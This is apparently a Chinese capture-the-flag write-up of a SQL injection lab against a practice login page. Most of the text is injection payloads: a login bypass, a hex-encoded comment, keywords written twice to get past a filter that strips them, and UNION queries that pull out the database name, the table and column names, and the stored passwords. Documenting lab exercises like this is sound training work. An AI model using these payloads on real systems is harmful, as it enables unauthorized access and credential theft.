启动靶机,打开页面
因为之前有做过一些sql lab上面的题,所以稍微也会有一些思路,
然后我先查看了一手源码,果然发现猫腻
这里面有个check.php反手我就给它加上,
又成这熊样了,好了开始注入吧
然后我尝试使用了一下万能密码登录,
/check.php?username=admin' or '1'='1 &password=1
然后就成这样了
有点儿郁闷呐。然后要注释密码的时候也是不成功,或许是#被过滤掉了,那就用%23来替代,这是他的16进制编码。
再试一下
/check.php?username=admin' %23&password=123
出来了。登陆成功,尝试查询字段数
/check.php?username=admin' order by 3%23&password=123
报错了,貌似是把or给过滤掉了。所以之前的万能密码才失效的,那就用到了双写绕过。
?username=admin' oorr '1'='1%23&password=123
成功了。
因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数:
/check.php?username=admin' uniunionon selselectect 1,2,3,4 %23&password=123
看来只有三列了。
还需要查看一下显示位
?username=1' uniunionon selselectect 11,22,33 %23&password=123
得到回显位是2和3。
要开始爆数据库
/check.php?username=1' uniunionon selselectect 11,version(),database() %23&password=123
名字叫geek
爆表名
/check.php?username=1' uniunionon selselectect11,22,group_concat(table_name) frfromominfoorrmation_schema.tables whwhereeretable_schema=database() %23&password=1
再次爆出。
字段名,爆他
/check.php?username=1' uniunionon selselectect11,22,group_concat(column_name) frfromominfoorrmation_schema.columns whwhereere table_name='b4bsql' %23&password=1
最后再爆出数据就是可了
/check.php?username=1%27%20uniunionon%20selselectect%2011,22,group_concat(0x3a,passwoorrd)%20frfromom%20geek.b4bsql%20%23%20&password=123
这样就ok了